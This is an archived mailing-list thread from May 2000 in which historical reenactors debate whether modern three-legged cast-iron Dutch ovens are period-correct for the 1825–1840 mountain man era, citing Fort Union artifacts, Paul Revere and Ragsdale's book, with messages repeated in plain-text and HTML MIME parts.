-----Original Message-----


>Walt, Forgive me if I'm having a senior moment <G> but IIRC the previous
>discussion was not whether cast iron was in use during the mountain man
>period, but whether the design of the dutch ovens we use today was correct.
>There was definitely cast iron pots being made and traded from and through
>Africa prior to the period, but nothing has been presented to establish
that
>the straight-sided, three-legged version so common at Rendezvous today was
>present.    Barney
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 22:45:37 -0600

Actually, since I had a book published that has in it Dutch oven cooking, I
did as much research as I could without it getting redundant. All I could
find about the name of Dutch ovens was that during colonial times the Dutch
(who didn't make them) traded so many of them that they acquired the name
Dutch oven. There were a few other explanations, but without solid
foundations or references. Paul Revere made one of silver, then later when
he set up an iron foundry, made many of them. They had three legs and
slanted sides, just like the ones we get today. The ears were fancier, bails
varied. The quality of the iron by then was not bad and just like today,
tended to crack if it was left out with water in it to freeze. I am fairly
convinced that the Dutch ovens, in close approximation to what we get today,
was around during the fur trade period. I doubt that any mountain man
carried one along on his pack animal, but surely could have been carried in
a trader's wagon or by Stewart. I'm not arguing that they were in the
mountain men's equipage, or at rendezvous, essentially I really don't care
much since I only try to emulate the skills of the mountain men, not reenact
their times. As I've posted, I don't carry heavy items when I trek, but if
I'm going to be at a national event where they  are accepted, I might truck
one along.
Bill C
-----Original Message-----


>Washtahay-
>At 12:30 PM 5/27/00 -0600, you wrote:
>>Everybody knows that the Dutch controlled the New York area cast iron
>>industry at one time.
> Often, what "everybody knows" is wrong or irrelevant.  The item in
>question was known as a "dutch oven" prior to the Dutch having much of an
>interest in the iron business.  The term dates back even further, referring
>to a ceramic container the form of which we would all recognize.  The
>earliest foundry-related reference I have found refers to "dutche ovens of
>iryn".
>
>>I do not know what better documentation you could ask for
>>than the documention of the artifacts located at Fort Union during the
time
>>of the rendezvous period of the American mountain men.
> How about written references?  Not opinion, not hearsay, but field notes
>or photographs showing the fragments having been found in a layer
>indicating that they were discarded prior to 1840, or were found in
>association with artifacts used prior to that date but not after.  You
>know, that unpleasant "science" question.
> I sent a letter (still unanswered) to Fort Union asking those questions
>like "What evidence is there regarding the use of cast iron cooking vessels
>at Fort Union prior to 1840?"
>LongWalker c. du B.
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Duncan Macready <[e-mail]>
Subject: MtMan-List: Spanish helmet
Date: 27 May 2000 17:06:23 +1200

Would an inverted Spanish helmet make a period correct cooking pot,?? I
seem to remember reading of some Native Americans being found using a
helmet to cook in,
YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 28 May 2000 01:17:13 -0500

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Bill,

Where did you find the information on Revere and 3 legged Dutch Ovens?  I'd=
=20
sure like to see the photos.

John...


At 10:35 PM 5/27/00 -0600, you wrote:
>Barney, the photos I've seen of Paul Revere's Dutch ovens are very much=
 like
>those in use today. True, there have been changes, such as the ears and
>bails, but the basic shape is the same. Should we not use them? I don't
>know. I don't pack one along to AMM and I don't pack one when I'm out by
>myself. Just too heavy for light traveling. But I have taken one along to
>something like an NMLRA nationals where I don't have to pack in and am=
 going
>to be there for 10 days. Makes cooking a breeze. And when you get right=
 down
>to it, the difference in the old and new DOs and our replica guns and many
>other accouterments aren't all that much different.
>Bill C
>-----Original Message-----
>From: [e-mail] <[e-mail]>
>To: [e-mail] <[e-mail]>
>Date: Saturday, May 27, 2000 1:35 PM
>Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
>
>
> >Walt, Forgive me if I'm having a senior moment <G> but IIRC the previous
> >discussion was not whether cast iron was in use during the mountain man
> >period, but whether the design of the dutch ovens we use today was=
 correct.
> >There was definitely cast iron pots being made and traded from and=
 through
> >Africa prior to the period, but nothing has been presented to establish
>that
> >the straight-sided, three-legged version so common at Rendezvous today=
 was
> >present.    Barney
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

John T. Kramer, maker of:=A0

Kramer's Best Antique Improver
 >>>It makes wood wonderful<<<
=A0=A0=A0=A0=A0=A0=A0 >>>As good as old!<<<

<http://www.kramerize.com/>

mail to: <[e-mail]>

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Content-Transfer-Encoding: quoted-printable

<html>
<font size=3D3>Bill,<br>
<br>
Where did you find the information on Revere and 3 legged Dutch
Ovens?  I'd sure like to see the photos.<br>
<br>
John...<br>
<br>
<br>
At 10:35 PM 5/27/00 -0600, you wrote:<br>
<blockquote type=3Dcite cite>Barney, the photos I've seen of Paul Revere's
Dutch ovens are very much like<br>
those in use today. True, there have been changes, such as the ears
and<br>
bails, but the basic shape is the same. Should we not use them? I
don't<br>
know. I don't pack one along to AMM and I don't pack one when I'm out
by<br>
myself. Just too heavy for light traveling. But I have taken one along
to<br>
something like an NMLRA nationals where I don't have to pack in and am
going<br>
to be there for 10 days. Makes cooking a breeze. And when you get right
down<br>
to it, the difference in the old and new DOs and our replica guns and
many<br>
other accouterments aren't all that much different.<br>
Bill C<br>
-----Original Message-----<br>
<[e-mail]><br>
<br>
<br>
>Walt, Forgive me if I'm having a senior moment <G> but IIRC the
previous<br>
>discussion was not whether cast iron was in use during the mountain
man<br>
>period, but whether the design of the dutch ovens we use today was
correct.<br>
>There was definitely cast iron pots being made and traded from and
through<br>
>Africa prior to the period, but nothing has been presented to
establish<br>
that<br>
>the straight-sided, three-legged version so common at Rendezvous
today was<br>
>present.    Barney<br>
><br>
>----------------------<br>
>hist_text list info:
<a href=3D"http://www.xmission.com/~drudy/mtman/maillist.html"=
 eudora=3D"autourl">http://www.xmission.com/~drudy/mtman/maillist.html</a><b=
r>
><br>
<br>
<br>
----------------------<br>
hist_text list info:
<a href=3D"http://www.xmission.com/~drudy/mtman/maillist.html"=
 eudora=3D"autourl">http://www.xmission.com/~drudy/mtman/maillist.html</a></=
font></blockquote><br>
<div>John T. Kramer, maker of:=A0</div>
<br>
<div>Kramer's Best Antique Improver</div>
<div>>>>It makes wood wonderful<<<</div>
<div>=A0=A0=A0=A0=A0=A0=A0 >>>As good as old!<<<</div>
<br>
<div><<a href=3D"http://www.kramerize.com/"=
 EUDORA=3DAUTOURL>http://www.kramerize.com/</a>></div>
<br>
<div>mail to: <[e-mail]> </div>
</html>

--=====================_14015298==_.ALT--


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-------------------------------------------------------------------------------

From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: Your FACTS cannot be confirmed.
Date: 28 May 2000 01:39:11 -0500

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Content-Type: text/plain; charset="us-ascii"; format=flowed


At 09:27 AM 5/27/00 -0600, Walt wrote:
>No Sir,
>
>The facts have already been established once and for all by the Fort Union
>Trading Post.  Cast iron artifacts of both types were present in the
>mountain man period.
>Walt
>Park City, Montana

At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:
> > Walt, to date no documentary evidence has been provided that cast iron
> > cookware was present "during the mountain man period at Fort Union".
>
>Aho!
>Longwalker, as I posted earlier this year 2 types of cast iron cookware were
>present during the American Mountain Man era 1825-1840 at Fort Union.  I
>also provided the National Park Service Chief Historian phone number so that
>anyone on the list could verify what I had to say about what my research
>discovered on the subject of the 2 pots of cast iron.


Walt,

I have just finished reading through every posting you have ever made to
this group.

I then spoke with Randy Kane of Fort Union.  He barely remembered who you
are and has NO information on any cast iron artifacts found there, he
referred me to Kenneth Hart, Museum Tech who he said is their best informed
on material culture.  He also referenced Audrey Barnhart, curator as a
possible source of information.  He has no idea about any modern camp oven
cast iron, or what if any information the other two people may have on this
or any other subject, he thinks he suggested you speak to the above people
regarding your supposition.  The other two folks won't be available until
Tuesday, I really don't see where my bothering them with this triviality is
worth wasting their time.

I have let several of your declarations of the appropriateness of camp
ovens slide by as I am long weary of dealing with you on this topic.

The sum total of your evidence, which is at best attributed to the wrong
person, is repeated here below:

begin quote 2/29/00 posting ...

Cast iron at Ft. Union says, walt foster and Randy Kane/Historian.

  1. base fragment
  2. rim fragment wedge shape
  3. lid fragment 14 by 35 centimeters.
  4. lid fragment with the handle in the center
These cast iron artifacts were dug up at the Fort Union Trading Post.
Walt
Park City, Montana

end quote 2/29/00 ...

Do I really need to comment further?

At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:
>Everybody knows that the Dutch ...

There is nothing that everybody knows!

I have yet to see any credible evidence that camp ovens existed anywhere
before the last half of the nineteenth century.  I've looked.

John...



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Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
At 09:27 AM 5/27/00 -0600, Walt wrote:<br>
<blockquote type=cite cite>No Sir,<br>
<br>
The facts have already been established once and for all by the Fort
Union<br>
Trading Post.  Cast iron artifacts of both types were present in
the<br>
mountain man period.<br>
Walt<br>
Park City, Montana</blockquote><br>
At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:<br>
<blockquote type=cite cite>> Walt, to date no documentary evidence has
been provided that cast iron<br>
> cookware was present "during the mountain man period at Fort
Union".<br>
<br>
Aho!<br>
Longwalker, as I posted earlier this year 2 types of cast iron cookware
were<br>
present during the American Mountain Man era 1825-1840 at Fort
Union.  I<br>
also provided the National Park Service Chief Historian phone number so
that<br>
anyone on the list could verify what I had to say about what my
research<br>
discovered on the subject of the 2 pots of cast iron.</blockquote><br>
<br>
Walt,<br>
<br>
I have just finished reading through every posting you have ever made to
this group.<br>
<br>
I then spoke with Randy Kane of Fort Union.  He barely remembered
who you are and has NO information on any cast iron artifacts found
there, he referred me to Kenneth Hart, Museum Tech who he said is their
best informed on material culture.  He also referenced Audrey
Barnhart, curator as a possible source of information.  He has no
idea about any modern camp oven cast iron, or what if any information the
other two people may have on this or any other subject, he thinks he
suggested you speak to the above people regarding your supposition.
The other two folks won't be available until Tuesday, I really don't see
where my bothering them with this triviality is worth wasting their
time.  <br>
<br>
I have let several of your declarations of the appropriateness of camp
ovens slide by as I am long weary of dealing with you on this
topic.   <br>
<br>
The sum total of your evidence, which is at best attributed to the wrong
person, is repeated here below:<br>
<br>
begin quote 2/29/00 posting ...<br>
<br>
</font><font face="arial" size=2>Cast iron at Ft. Union says, walt foster
and Randy Kane/Historian.<br>
</font><font size=3> <br>
</font><font face="arial" size=2> 1. base fragment<br>
 2. rim fragment wedge shape<br>
 3. lid fragment 14 by 35 centimeters.  <br>
 4. lid fragment with the handle in the center<br>
These cast iron artifacts were dug up at the Fort Union Trading
Post.  <br>
Walt<br>
Park City, Montana<br>
</font><font size=3> <br>
end quote 2/29/00 ...<br>
<br>
Do I really need to comment further?<br>
<br>
At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:<br>
<blockquote type=cite cite>Everybody knows that the Dutch
...</blockquote><br>
There is nothing that everybody knows!<br>
<br>
I have yet to see any credible evidence that camp ovens existed anywhere
before the last half of the nineteenth century.  I've looked.
<br>
<br>
John...<br>
<br>
<br>
</font></html>

--=====================_16005045==_.ALT--


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 28 May 2000 07:22:55 EDT

In a message dated 5/26/00, Pendleton writes:

<< Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
 him out of a DUTCH OVEN, and I bet he would have had him on a leash made of
 BRAIDED ARTIFICIAL SINEW, and his collar would have been sewn with DENTAL
 FLOSS. ----------(stuff deleted)----------- >>

Sir,
   I would have to dispute your claim. If Jim Bridger had of had a DOG in
camp he would have eaten it.

Longshot

"Longshot's Rendezvous Homepage"
http://members.aol.com/lodgepole/longshot.html

----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 28 May 2000 08:10:43 -0600

This is a multi-part message in MIME format.

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    charset="iso-8859-1"
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Mostly at the Paul Revere museum. They also have a web site, but it's a =
bit clunky and limited.
    -----Original Message-----
    From: John Kramer <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Sunday, May 28, 2000 12:28 AM
    Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
   =20
   =20
    Bill,
   =20
    Where did you find the information on Revere and 3 legged Dutch =
Ovens?  I'd sure like to see the photos.
   =20
    John...
   =20
   =20
    At 10:35 PM 5/27/00 -0600, you wrote:
   =20
        Barney, the photos I've seen of Paul Revere's Dutch ovens are =
very much like
        those in use today. True, there have been changes, such as the =
ears and
        bails, but the basic shape is the same. Should we not use them? =
I don't
        know. I don't pack one along to AMM and I don't pack one when =
I'm out by
        myself. Just too heavy for light traveling. But I have taken one =
along to
        something like an NMLRA nationals where I don't have to pack in =
and am going
        to be there for 10 days. Makes cooking a breeze. And when you =
get right down
        to it, the difference in the old and new DOs and our replica =
guns and many
        other accouterments aren't all that much different.
        Bill C
        -----Original Message-----
        From: [e-mail] <[e-mail]>
        To: [e-mail] <[e-mail]>
        Date: Saturday, May 27, 2000 1:35 PM
        Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
       =20
       =20
        >Walt, Forgive me if I'm having a senior moment <G> but IIRC the =
previous
        >discussion was not whether cast iron was in use during the =
mountain man
        >period, but whether the design of the dutch ovens we use today =
was correct.
        >There was definitely cast iron pots being made and traded from =
and through
        >Africa prior to the period, but nothing has been presented to =
establish
        that
        >the straight-sided, three-legged version so common at =
Rendezvous today was
        >present.    Barney
        >
        >----------------------
        >hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
        >
       =20
       =20
        ----------------------
        hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
   =20
   =20
    John T. Kramer, maker of:=20
   =20
   =20
    Kramer's Best Antique Improver
    >>>It makes wood wonderful<<<
            >>>As good as old!<<<
   =20
   =20
    <http://www.kramerize.com/>
   =20
   =20
    mail to: <[e-mail]>=20

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Mostly at the Paul Revere museum. =
They also have=20
a web site, but it's a bit clunky and limited.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>John Kramer <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Sunday, May 28, 2000 12:28 AM<BR><B>Subject: </B>Re: MtMan-List: =
    Fri, 26 May 2000 15:59:45 -0500<BR><BR></DIV></FONT><FONT=20
    size=3D3>Bill,<BR><BR>Where did you find the information on Revere =
and 3=20
    legged Dutch Ovens?  I'd sure like to see the=20
    photos.<BR><BR>John...<BR><BR><BR>At 10:35 PM 5/27/00 -0600, you =
wrote:<BR>
    <BLOCKQUOTE cite type =3D cite>Barney, the photos I've seen of Paul=20
        Revere's Dutch ovens are very much like<BR>those in use today. =
True,=20
        there have been changes, such as the ears and<BR>bails, but the =
basic=20
        shape is the same. Should we not use them? I don't<BR>know. I =
don't pack=20
        one along to AMM and I don't pack one when I'm out by<BR>myself. =
Just=20
        too heavy for light traveling. But I have taken one along=20
        to<BR>something like an NMLRA nationals where I don't have to =
pack in=20
        and am going<BR>to be there for 10 days. Makes cooking a breeze. =
And=20
        when you get right down<BR>to it, the difference in the old and =
new DOs=20
        and our replica guns and many<BR>other accouterments aren't all =
that=20
        much different.<BR>Bill C<BR>-----Original Message-----<BR>From: =

        [e-mail] <[e-mail]><BR>To:=20
        [e-mail]=20
        <[e-mail]><BR>Date: Saturday, May 27, =
2000=20
        1:35 PM<BR>Subject: Re: MtMan-List: Date: Fri, 26 May 2000 =
15:59:45=20
        -0500<BR><BR><BR>>Walt, Forgive me if I'm having a senior =
moment=20
        <G> but IIRC the previous<BR>>discussion was not =
whether cast=20
        iron was in use during the mountain man<BR>>period, but =
whether the=20
        design of the dutch ovens we use today was correct.<BR>>There =
was=20
        definitely cast iron pots being made and traded from and=20
        through<BR>>Africa prior to the period, but nothing has been=20
        presented to establish<BR>that<BR>>the straight-sided, =
three-legged=20
        version so common at Rendezvous today=20
        was<BR>>present.   =20
        Barney<BR>><BR>>----------------------<BR>>hist_text =
list info:=20
        <A href=3D"http://www.xmission.com/~drudy/mtman/maillist.html" =
eudora =3D=20
        =
autourl>http://www.xmission.com/~drudy/mtman/maillist.html</A><BR>><BR=
><BR><BR>----------------------<BR>hist_text=20
        list info: <A =
href=3D"http://www.xmission.com/~drudy/mtman/maillist.html"=20
        eudora =3D=20
        =
autourl>http://www.xmission.com/~drudy/mtman/maillist.html</A></FONT></BL=
OCKQUOTE><BR>
    <DIV>John T. Kramer, maker of: </DIV><BR>
    <DIV>Kramer's Best Antique Improver</DIV>
    <DIV>>>>It makes wood wonderful<<<</DIV>
    <DIV>        >>>As good =
as=20
    old!<<<</DIV><BR>
    <DIV><<A href=3D"http://www.kramerize.com/" EUDORA =3D=20
    AUTOURL>http://www.kramerize.com/</A>></DIV><BR>
    <DIV>mail to: <[e-mail]> =
</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0016_01BFC87C.38234A40--


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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 28 May 2000 08:12:20 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0023_01BFC87C.71E387E0
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

John, I think I also have a book (big bugger) on Paul Revere that lists =
this stuff - my mind is getting more holes in it all the time) I will =
try to dig it out and see what I can copy and send. This may take a day =
or two - I'm in the middle of finishing a novel for a publisher and =
getting the next T&LR out.
    -----Original Message-----
    From: John Kramer <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Sunday, May 28, 2000 12:28 AM
    Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
   =20
   =20
    Bill,
   =20
    Where did you find the information on Revere and 3 legged Dutch =
Ovens?  I'd sure like to see the photos.
   =20
    John...
   =20
   =20
    At 10:35 PM 5/27/00 -0600, you wrote:
   =20
        Barney, the photos I've seen of Paul Revere's Dutch ovens are =
very much like
        those in use today. True, there have been changes, such as the =
ears and
        bails, but the basic shape is the same. Should we not use them? =
I don't
        know. I don't pack one along to AMM and I don't pack one when =
I'm out by
        myself. Just too heavy for light traveling. But I have taken one =
along to
        something like an NMLRA nationals where I don't have to pack in =
and am going
        to be there for 10 days. Makes cooking a breeze. And when you =
get right down
        to it, the difference in the old and new DOs and our replica =
guns and many
        other accouterments aren't all that much different.
        Bill C
        -----Original Message-----
        From: [e-mail] <[e-mail]>
        To: [e-mail] <[e-mail]>
        Date: Saturday, May 27, 2000 1:35 PM
        Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
       =20
       =20
        >Walt, Forgive me if I'm having a senior moment <G> but IIRC the =
previous
        >discussion was not whether cast iron was in use during the =
mountain man
        >period, but whether the design of the dutch ovens we use today =
was correct.
        >There was definitely cast iron pots being made and traded from =
and through
        >Africa prior to the period, but nothing has been presented to =
establish
        that
        >the straight-sided, three-legged version so common at =
Rendezvous today was
        >present.    Barney
        >
        >----------------------
        >hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
        >
       =20
       =20
        ----------------------
        hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
   =20
   =20
    John T. Kramer, maker of:=20
   =20
   =20
    Kramer's Best Antique Improver
    >>>It makes wood wonderful<<<
            >>>As good as old!<<<
   =20
   =20
    <http://www.kramerize.com/>
   =20
   =20
    mail to: <[e-mail]>=20

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>John, I think I also have a book =
(big bugger) on=20
Paul Revere that lists this stuff - my mind is getting more holes in it =
all the=20
time) I will try to dig it out and see what I can copy and send. This =
may take a=20
day or two - I'm in the middle of finishing a novel for a publisher and =
getting=20
the next T&LR out.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>John Kramer <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Sunday, May 28, 2000 12:28 AM<BR><B>Subject: </B>Re: MtMan-List: =
    Fri, 26 May 2000 15:59:45 -0500<BR><BR></DIV></FONT><FONT=20
    size=3D3>Bill,<BR><BR>Where did you find the information on Revere =
and 3=20
    legged Dutch Ovens?  I'd sure like to see the=20
    photos.<BR><BR>John...<BR><BR><BR>At 10:35 PM 5/27/00 -0600, you =
wrote:<BR>
    <BLOCKQUOTE cite type =3D cite>Barney, the photos I've seen of Paul=20
        Revere's Dutch ovens are very much like<BR>those in use today. =
True,=20
        there have been changes, such as the ears and<BR>bails, but the =
basic=20
        shape is the same. Should we not use them? I don't<BR>know. I =
don't pack=20
        one along to AMM and I don't pack one when I'm out by<BR>myself. =
Just=20
        too heavy for light traveling. But I have taken one along=20
        to<BR>something like an NMLRA nationals where I don't have to =
pack in=20
        and am going<BR>to be there for 10 days. Makes cooking a breeze. =
And=20
        when you get right down<BR>to it, the difference in the old and =
new DOs=20
        and our replica guns and many<BR>other accouterments aren't all =
that=20
        much different.<BR>Bill C<BR>-----Original Message-----<BR>From: =

        [e-mail] <[e-mail]><BR>To:=20
        [e-mail]=20
        <[e-mail]><BR>Date: Saturday, May 27, =
2000=20
        1:35 PM<BR>Subject: Re: MtMan-List: Date: Fri, 26 May 2000 =
15:59:45=20
        -0500<BR><BR><BR>>Walt, Forgive me if I'm having a senior =
moment=20
        <G> but IIRC the previous<BR>>discussion was not =
whether cast=20
        iron was in use during the mountain man<BR>>period, but =
whether the=20
        design of the dutch ovens we use today was correct.<BR>>There =
was=20
        definitely cast iron pots being made and traded from and=20
        through<BR>>Africa prior to the period, but nothing has been=20
        presented to establish<BR>that<BR>>the straight-sided, =
three-legged=20
        version so common at Rendezvous today=20
        was<BR>>present.   =20
        Barney<BR>><BR>>----------------------<BR>>hist_text =
list info:=20
        <A href=3D"http://www.xmission.com/~drudy/mtman/maillist.html" =
eudora =3D=20
        =
autourl>http://www.xmission.com/~drudy/mtman/maillist.html</A><BR>><BR=
><BR><BR>----------------------<BR>hist_text=20
        list info: <A =
href=3D"http://www.xmission.com/~drudy/mtman/maillist.html"=20
        eudora =3D=20
        =
autourl>http://www.xmission.com/~drudy/mtman/maillist.html</A></FONT></BL=
OCKQUOTE><BR>
    <DIV>John T. Kramer, maker of: </DIV><BR>
    <DIV>Kramer's Best Antique Improver</DIV>
    <DIV>>>>It makes wood wonderful<<<</DIV>
    <DIV>        >>>As good =
as=20
    old!<<<</DIV><BR>
    <DIV><<A href=3D"http://www.kramerize.com/" EUDORA =3D=20
    AUTOURL>http://www.kramerize.com/</A>></DIV><BR>
    <DIV>mail to: <[e-mail]> =
</DIV></BLOCKQUOTE></BODY></HTML>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 28 May 2000 09:09:08 -0600

This is a multi-part message in MIME format.

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John, I'm sort'a glad you asked that question. It took me a while to =
remember what I looked at. When all the hullabaloo about the ovens died =
down I was still scratching my head over it. I had ordered John G. =
Ragsdale's book, Dutch Ovens Chronicled, through interlibrary loan and =
it came in after everyone quit arguing about the things. Well, I read it =
anyway. It is quite a book, has lots of photos of original Dutch ovens =
and shows the changes that have taken place. Many of what he shows were =
in Michigan in the early 1800s, as well as in the "Colonies," before =
that.
Briefly, here is part of what he says: In 1704 a man named Abraham Darby =
went from England to Holland to check out the Dutch casting process in =
which they cast brass vessels in dry sand molds. He went back to England =
and experimented with the process and eventually patented a casting =
process using a better type of molding sand and a process of baking the =
mold to improve casting smoothness. He then began casting pots and =
shipped them to the Colonies and the rest of the world. Darby thinks =
maybe the name Dutch Oven may have dreived from the original Dutch =
process for casting metal pots, but others believe it came from the =
Dutch peddlers. Still others believe that the name came from the Dutch =
settlers in Penn. who used similar cast iron pots and kettles.
Ragsdale says that cast metal pots have been in use since the seventh =
century. The oven of today has evolved over the years as various =
manufacturers made refinements and improvements over the previous =
versions. The shape of the ears and the length and thickness of the legs =
seem the most often changed. The lid also has seen changes ranging from =
rounded to flat and from no lip to various shapes.  But the photos he =
includes show the "kettle" as it was often called, with slanted sides, =
ears, legs, and bails.=20
This is an interesting book, and, if I remember right, can still be =
obtained. I seem to recall many references to Dutch ovens being in =
widespread use in 1804, and certainly not much different in material and =
shape from the one Lodge turns out.

Did the mountain men use it as part of their camp equipment? There is no =
proof of it. Was it around - would they have known what it was? =
Probably. Was it at rendezvous? Again, no proof, unless someone wants to =
inventory Stewart's gear and see if they can find a reference to an iron =
Kettle and then argue that point. Was it at some of the forts? Perhaps.=20

Anyway, you might want to check out Ragsdale's book. He includes diary =
extracts that are interesting and fun. His bibliography has documents =
you may never have heard of before and could lead you into many an other =
artifact chase.

Bill C
    -----Original Message-----
    From: John Kramer <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Sunday, May 28, 2000 12:28 AM
    Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
   =20
   =20
    Bill,
   =20
    Where did you find the information on Revere and 3 legged Dutch =
Ovens?  I'd sure like to see the photos.
   =20
    John...
   =20
   =20
    At 10:35 PM 5/27/00 -0600, you wrote:
   =20
        Barney, the photos I've seen of Paul Revere's Dutch ovens are =
very much like
        those in use today. True, there have been changes, such as the =
ears and
        bails, but the basic shape is the same. Should we not use them? =
I don't
        know. I don't pack one along to AMM and I don't pack one when =
I'm out by
        myself. Just too heavy for light traveling. But I have taken one =
along to
        something like an NMLRA nationals where I don't have to pack in =
and am going
        to be there for 10 days. Makes cooking a breeze. And when you =
get right down
        to it, the difference in the old and new DOs and our replica =
guns and many
        other accouterments aren't all that much different.
        Bill C
        -----Original Message-----
        From: [e-mail] <[e-mail]>
        To: [e-mail] <[e-mail]>
        Date: Saturday, May 27, 2000 1:35 PM
        Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
       =20
       =20
        >Walt, Forgive me if I'm having a senior moment <G> but IIRC the =
previous
        >discussion was not whether cast iron was in use during the =
mountain man
        >period, but whether the design of the dutch ovens we use today =
was correct.
        >There was definitely cast iron pots being made and traded from =
and through
        >Africa prior to the period, but nothing has been presented to =
establish
        that
        >the straight-sided, three-legged version so common at =
Rendezvous today was
        >present.    Barney
        >
        >----------------------
        >hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
        >
       =20
       =20
        ----------------------
        hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
   =20
   =20
    John T. Kramer, maker of:=20
   =20
   =20
    Kramer's Best Antique Improver
    >>>It makes wood wonderful<<<
            >>>As good as old!<<<
   =20
   =20
    <http://www.kramerize.com/>
   =20
   =20
    mail to: <[e-mail]>=20

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Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>John, I'm sort'a glad you asked that =
question.=20
It took me a while to remember what I looked at. When all the hullabaloo =
about=20
the ovens died down I was still scratching my head over it. I had =
ordered John=20
G. Ragsdale's book, Dutch Ovens Chronicled, through interlibrary loan =
and it=20
came in after everyone quit arguing about the things. Well, I read it =
anyway. It=20
is quite a book, has lots of photos of original Dutch ovens and shows =
the=20
changes that have taken place. Many of what he shows were in Michigan in =
the=20
early 1800s, as well as in the "Colonies," before =
that.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Briefly, here =
is part of=20
what he says: In 1704 a man named Abraham Darby went from England to =
Holland to=20
check out the Dutch casting process in which they cast brass vessels in =
dry sand=20
molds. He went back to England and experimented with the process and =
eventually=20
patented a casting process using a better type of molding sand and a =
process of=20
baking the mold to improve casting smoothness. He then began casting =
pots and=20
shipped them to the Colonies and the rest of the world. Darby thinks =
maybe the=20
name Dutch Oven may have dreived from the original Dutch process for =
casting=20
metal pots, but others believe it came from the Dutch peddlers. Still =
others=20
believe that the name came from the Dutch settlers in Penn. who used =
similar=20
cast iron pots and kettles.</FONT></DIV>
